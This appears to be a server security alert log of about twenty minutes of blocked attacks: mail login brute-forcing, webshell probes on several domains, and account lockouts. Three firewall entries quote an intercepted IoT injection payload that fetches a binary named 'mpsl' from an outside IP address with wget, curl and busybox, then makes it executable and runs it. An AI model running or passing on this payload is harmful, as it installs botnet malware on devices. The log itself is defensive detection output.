abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:30:01 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55026: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/airefresh/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:30:06 dovecot_login authenticator failed for H=(dd1Fx4uxW8) [178.16.54.138]:58033: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:30:22 dovecot_login authenticator failed for H=(MHmPBOXo) [158.94.208.215]:55972: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: aire-fresh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/airefresh/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:31:10 dovecot_login authenticator failed for H=(GYx3aZ) [158.94.208.215]:62992: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 23:31:17 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:41974: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:31:22 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:37406: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/astlogc/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:33:00 H=([64.89.160.15]) [64.89.160.15]:54639 F=<drdavid00r5@outlook.com> rejected RCPT <tst@tst-ma.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/wp-conflg.php||SC:/home/astlogc/public_html/wp-admin/images/wp-conflg.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:32:22 dovecot_login authenticator failed for H=(kL7ZHSs) [158.94.208.215]:60376: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:32:09 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58250: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:33:10 dovecot_login authenticator failed for H=(z3qumv) [158.94.208.215]:52042: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/krisfood/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:33:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.64.112.158
country_id: 1210997
description:
2026-01-31 23:34:31 dovecot_login authenticator failed for H=(ADMIN) [64.64.112.158]:37360: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/astlogc/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:34:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63227: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:34:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:34:22 dovecot_login authenticator failed for H=(DBRt5R) [158.94.208.215]:57797: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.236.145.128
country_id: 6252001
description:
2026-01-31 23:35:23 dovecot_login authenticator failed for H=(node12.vindb.org) [104.236.145.128]:44061: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:35:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58223: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:35:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.22
country_id: 1269750
description:
2026-01-31 23:35:33 dovecot_login authenticator failed for H=([182.95.181.22]) [182.95.181.22]:55774: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:35:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56870: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:35:10 dovecot_login authenticator failed for H=(QMiJ8RlIr8) [158.94.208.215]:63843: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:36:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-01-31 23:36:59 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [27.72.46.152]:49066: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: box.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home2/woh/public_html/images/class.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:36:22 dovecot_login authenticator failed for H=(NiBhuojXO) [158.94.208.215]:56957: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:36:42 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:55124: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.193.194.148
country_id: 1880251
domain: box.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/woh/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.118
country_id: 1269750
description:
2026-01-31 23:37:11 dovecot_login authenticator failed for H=([128.185.243.163]) [182.95.119.118]:50880: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.10.98.29
country_id: 1643084
description:
[2026-01-31 23:37:21 +0800] info [cpaneld] 182.10.98.29 - manforce "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:37:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.244.46
country_id: 1269750
description:
2026-01-31 23:37:51 dovecot_login authenticator failed for H=([152.52.244.46]) [152.52.244.46]:48924: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:37:10 dovecot_login authenticator failed for H=(IrAHozt3SF) [158.94.208.215]:52209: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-01-31 23:37:42 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [98.122.215.23]:53694: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-01-31 23:37:24 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:54407: 535 Incorrect authentication data (set_id=hrd@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-31 23:38:09 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:47510: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:38:22 dovecot_login authenticator failed for H=(KlTM4j) [158.94.208.215]:61726: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-31 23:38:39 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:41123: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 23:38:40 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:54688: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:39:10 dovecot_login authenticator failed for H=(y5vKnYGw8l) [158.94.208.215]:57263: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.160.206
country_id: 1269750
description:
2026-01-31 23:39:35 dovecot_login authenticator failed for H=([125.19.160.206]) [125.19.160.206]:42986: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.142
country_id: 1269750
description:
2026-01-31 23:39:24 dovecot_login authenticator failed for H=([182.95.215.71]) [182.95.230.142]:35346: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-01-31 23:39:25 dovecot_login authenticator failed for H=([210.206.24.238]) [210.206.24.234]:38921: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-01-31 23:39:55 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:62304: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.174.184.86
country_id: 1814991
description:
2026-01-31 23:39:12 dovecot_login authenticator failed for H=([222.174.184.86]) [222.174.184.86]:46891: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:39:15 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:32058: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:39:19 dovecot_login authenticator failed for H=(Vew92V0u) [178.16.54.138]:64041: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.70
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'nr>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:36695/mpsl; curl -o http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -o http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||


plugin: modsec
rule: 77142263
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.70
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'NR>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:36695/mpsl; curl -O http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -O http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:40:21 dovecot_login authenticator failed for H=(BuBtAXGlp0) [158.94.208.215]:59492: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:40:32 dovecot_login authenticator failed for H=(zYc2x9) [178.16.54.138]:50364: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77789665
abuser: 176.65.139.8
country_id: 2921044
domain: 42.0.28.70
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data.check_ip2||MV:$(kill -9 $(ps aux | awk 'NR>1 && $3 > 2.0 {print $2}') 2>/dev/null; cd /tmp; cd /mnt; cd /var/tmp/; rm -rf mpsl; wget http://130.12.180.20:36695/mpsl; curl -O http://130.12.180.20:36695/mpsl; busybox wget http://130.12.180.20:36695/mpsl; busybox curl -O http://130.12.180.20:36695/mpsl; chmod 777 mpsl;./mpsl mpsl.router)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:41:55 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:41:08 dovecot_login authenticator failed for H=(n0AYnhrYh) [178.16.54.138]:56853: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:41:09 dovecot_login authenticator failed for H=(tjp7q3h8A8) [158.94.208.215]:52632: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.210
country_id: 99237
description:
2026-01-31 23:41:06 dovecot_plain authenticator failed for H=(libumeran) [65.20.191.210]:37748: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:41:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54195: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:42:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:42:21 dovecot_login authenticator failed for H=(f6zj6w8Y) [158.94.208.215]:51147: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:42:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62042: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:42:12 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64993: 535 Incorrect authentication data (set_id=testing@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:42:22 dovecot_login authenticator failed for H=(CjucQBcVb) [178.16.54.138]:59145: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: mokshana.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home/mokshanacom/public_html/images/class.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.211.164.12
country_id: 2077456
domain: mokshana.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/mokshanacom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.91.69.136
country_id: 2635167
description:
2026-01-31 23:43:32 dovecot_login authenticator failed for H=(jHwXd7) [185.91.69.136]:65509: 535 Incorrect authentication data (set_id=miner_sandy)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:43:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 23:43:30 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:38810: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:43:38 dovecot_login authenticator failed for H=(OEqlmpL) [178.16.54.138]:62101: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:43:49 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58843: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:43:09 dovecot_login authenticator failed for H=(DreNc4HX) [158.94.208.215]:49863: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-01-31 23:43:50 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:58223: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/home/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:44:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.89.110.57
country_id: 1814991
description:
2026-01-31 23:44:19 dovecot_login authenticator failed for H=([101.89.110.57]) [101.89.110.57]:58700: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:44:18 dovecot_login authenticator failed for H=(vGzRifwta) [158.94.208.215]:63633: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:44:15 dovecot_login authenticator failed for H=(tNeg6Ug) [178.16.54.138]:50515: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.241.214.127
country_id: 1814991
description:
2026-01-31 23:44:33 dovecot_login authenticator failed for H=([223.241.214.127]) [223.241.214.127]:59178: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:44:06 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:64153: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.19.200.63
country_id: 660013
description:
2026-01-31 23:44:12 dovecot_login authenticator failed for H=([146.19.200.63]) [146.19.200.63]:58408: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:45:29 dovecot_login authenticator failed for H=(irmFztQ) [178.16.54.138]:64457: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.205.178
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603871 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:45:12 dovecot_login authenticator failed for H=(c9fs3nKS) [158.94.208.215]:52935: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:45:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:46:07 dovecot_login authenticator failed for H=(2qjNqR) [178.16.54.138]:57089: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-01-31 23:46:38 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:48530: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-31 23:46:59 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:24792: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:46:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:46:08 dovecot_login authenticator failed for H=(WG2uasgCd) [158.94.208.215]:54849: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-31 23:47:01 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:56452: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:46:41 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:8027: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:46:15 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:50271: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:47:23 dovecot_login authenticator failed for H=(GqbcKdL) [178.16.54.138]:50922: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.124.133.35
country_id: 2017370
description:
2026-01-31 23:47:24 dovecot_login authenticator failed for H=([92.124.133.35]) [92.124.133.35]:51820: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.115.113.138
country_id: 1814991
description:
2026-01-31 23:47:46 dovecot_login authenticator failed for H=([27.115.113.138]) [27.115.113.138]:60112: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:47:09 dovecot_login authenticator failed for H=(vtoJ0CS5) [158.94.208.215]:59611: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-01-31 23:47:57 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com [42.200.70.134]:36495: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
